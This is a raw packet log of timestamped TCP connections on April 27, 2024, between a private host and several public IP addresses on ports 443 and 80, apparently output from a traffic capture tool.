Apr 27, 2024 00:11:35.449551105 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.449584007 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.449609995 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.449635029 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.449657917 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.449753046 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.449805975 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.449843884 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.449898958 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.450125933 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.450184107 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.450409889 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.450460911 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.450607061 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.450664997 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.450879097 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.450934887 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.451436043 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.451492071 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.451689959 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.451756001 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.455101967 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.455183983 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.455388069 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.455446959 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.459053993 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.459074974 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.459126949 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.459141970 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.459167004 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.459187031 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.471359968 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.471374035 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.471426964 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.471446991 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.471467018 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.471473932 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.471479893 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.471513033 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.471541882 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.471548080 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.471579075 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.471605062 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.471605062 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.481334925 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.481349945 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.481409073 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.481421947 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.481472015 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.490972042 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.490979910 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.491022110 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.491076946 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.491107941 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.491144896 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.491166115 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.491655111 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.491728067 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.492284060 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.492342949 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.494330883 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.494571924 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.529438019 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.529453993 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.529532909 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.529547930 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.529589891 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.532208920 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.532295942 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.545739889 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.545754910 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.545824051 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.545839071 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.545878887 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.546278000 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.546341896 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.546951056 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.547018051 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.547111034 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.547173977 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.550607920 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.550673008 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.550770044 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.550817013 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.550870895 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.550915956 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.550918102 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.550926924 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.550952911 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.550981045 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.550988913 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.551013947 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.551029921 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.551029921 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.551076889 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.554882050 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.554898977 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.554961920 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.554970026 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.555013895 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.557008982 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.557032108 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.557101011 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.557109118 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.557151079 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.559917927 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.559936047 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.560012102 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.560040951 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.560092926 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.560780048 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.560796022 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.560842991 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.560849905 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.560888052 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.560888052 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.564069986 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.564124107 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.564138889 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.564157963 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.564191103 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.564217091 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.564857006 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.564872980 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.564929008 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.564938068 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.564975977 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.576503038 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.576518059 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.576598883 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.576611042 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.576652050 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.578232050 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.578248024 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.578336000 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.578344107 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.578382969 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.579473019 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.579511881 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.579565048 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.579571962 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.579605103 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.579622030 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.593314886 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.593405962 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.593413115 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.593434095 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.593473911 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.611213923 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.611227036 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.611284971 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.611303091 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.611327887 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.611342907 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.615942955 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.615957022 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.616029024 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.616046906 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.616082907 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.618930101 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.618967056 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.618988991 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.618999004 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.619046926 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.775830030 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.776892900 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.777184963 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.778748035 CEST	49757	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.778770924 CEST	443	49757	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:35.780397892 CEST	49762	443	192.168.2.4	104.17.24.14
Apr 27, 2024 00:11:35.780415058 CEST	443	49762	104.17.24.14	192.168.2.4
Apr 27, 2024 00:11:35.835331917 CEST	49759	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.835362911 CEST	443	49759	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.836085081 CEST	49760	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:35.836139917 CEST	443	49760	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:35.928505898 CEST	49758	443	192.168.2.4	104.18.10.207
Apr 27, 2024 00:11:35.928527117 CEST	443	49758	104.18.10.207	192.168.2.4
Apr 27, 2024 00:11:36.122931004 CEST	49761	443	192.168.2.4	151.101.130.137
Apr 27, 2024 00:11:36.122956038 CEST	443	49761	151.101.130.137	192.168.2.4
Apr 27, 2024 00:11:36.366337061 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:36.366372108 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:36.366446972 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:36.368266106 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:36.368283987 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:36.594538927 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:36.594643116 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:36.594722033 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:36.604377985 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:36.604413986 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:36.657329082 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:36.671319008 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:36.671380997 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:36.673230886 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:36.673316956 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:36.674765110 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:36.674927950 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:36.674932003 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:36.674949884 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:36.795047045 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:36.795058012 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:36.813682079 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:36.814063072 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:36.814109087 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:36.816335917 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:36.816407919 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:36.819571018 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:36.819669008 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:36.822396040 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:36.822402954 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:36.936146975 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:36.936151028 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:37.083448887 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:37.083604097 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:37.083656073 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:37.085531950 CEST	49766	443	192.168.2.4	104.26.13.205
Apr 27, 2024 00:11:37.085566044 CEST	443	49766	104.26.13.205	192.168.2.4
Apr 27, 2024 00:11:37.180762053 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.180789948 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.180881977 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.181055069 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.181068897 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.242531061 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.242590904 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.242609978 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.242641926 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.242656946 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:37.242717028 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.242752075 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.242757082 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:37.242757082 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:37.242773056 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.242791891 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.242814064 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:37.242844105 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.242872953 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:37.242872953 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:37.242908955 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.243093014 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.243119001 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:37.243144989 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:37.243459940 CEST	49764	443	192.168.2.4	13.107.213.40
Apr 27, 2024 00:11:37.243469000 CEST	443	49764	13.107.213.40	192.168.2.4
Apr 27, 2024 00:11:37.353909016 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.353981972 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.354250908 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.354434013 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.354454041 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.376337051 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.376549959 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.376563072 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.380076885 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.380197048 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.380544901 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.380702972 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.380712032 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.424118042 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.577630997 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.577649117 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.633127928 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.633373976 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.633395910 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.635123014 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.635188103 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.635934114 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.636006117 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.636245012 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.636254072 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.665208101 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.665426016 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.667226076 CEST	49771	443	192.168.2.4	104.26.12.205
Apr 27, 2024 00:11:37.667253017 CEST	443	49771	104.26.12.205	192.168.2.4
Apr 27, 2024 00:11:37.780203104 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.915875912 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.915955067 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.915976048 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.915993929 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.916029930 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.916069984 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.916096926 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.916114092 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.916136980 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.916153908 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.916192055 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.916192055 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.916210890 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.916244030 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:37.916369915 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.916613102 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:37.916670084 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:39.259737968 CEST	49772	443	192.168.2.4	13.107.246.40
Apr 27, 2024 00:11:39.259808064 CEST	443	49772	13.107.246.40	192.168.2.4
Apr 27, 2024 00:11:41.660620928 CEST	80	49724	69.164.46.128	192.168.2.4
Apr 27, 2024 00:11:41.660794973 CEST	49724	80	192.168.2.4	69.164.46.128
Apr 27, 2024 00:11:41.660974979 CEST	49724	80	192.168.2.4	69.164.46.128
Apr 27, 2024 00:11:41.753432035 CEST	80	49724	69.164.46.128	192.168.2.4
Apr 27, 2024 00:11:48.244810104 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:48.244904041 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:48.244966984 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:48.453957081 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:48.453991890 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:56.607661963 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:56.607717037 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:56.612128973 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:56.747394085 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:56.747440100 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.159311056 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.159390926 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.167030096 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.167046070 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.167283058 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.182466984 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.224162102 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564090014 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564120054 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564126015 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564176083 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564193964 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.564233065 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564285994 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564356089 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.564356089 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.564356089 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.564511061 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564558029 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564577103 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.564593077 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564613104 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.564637899 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.564662933 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.569515944 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.569565058 CEST	443	49774	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:57.569596052 CEST	49774	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:57.569610119 CEST	443	49774	13.85.23.86	192.168.2.4
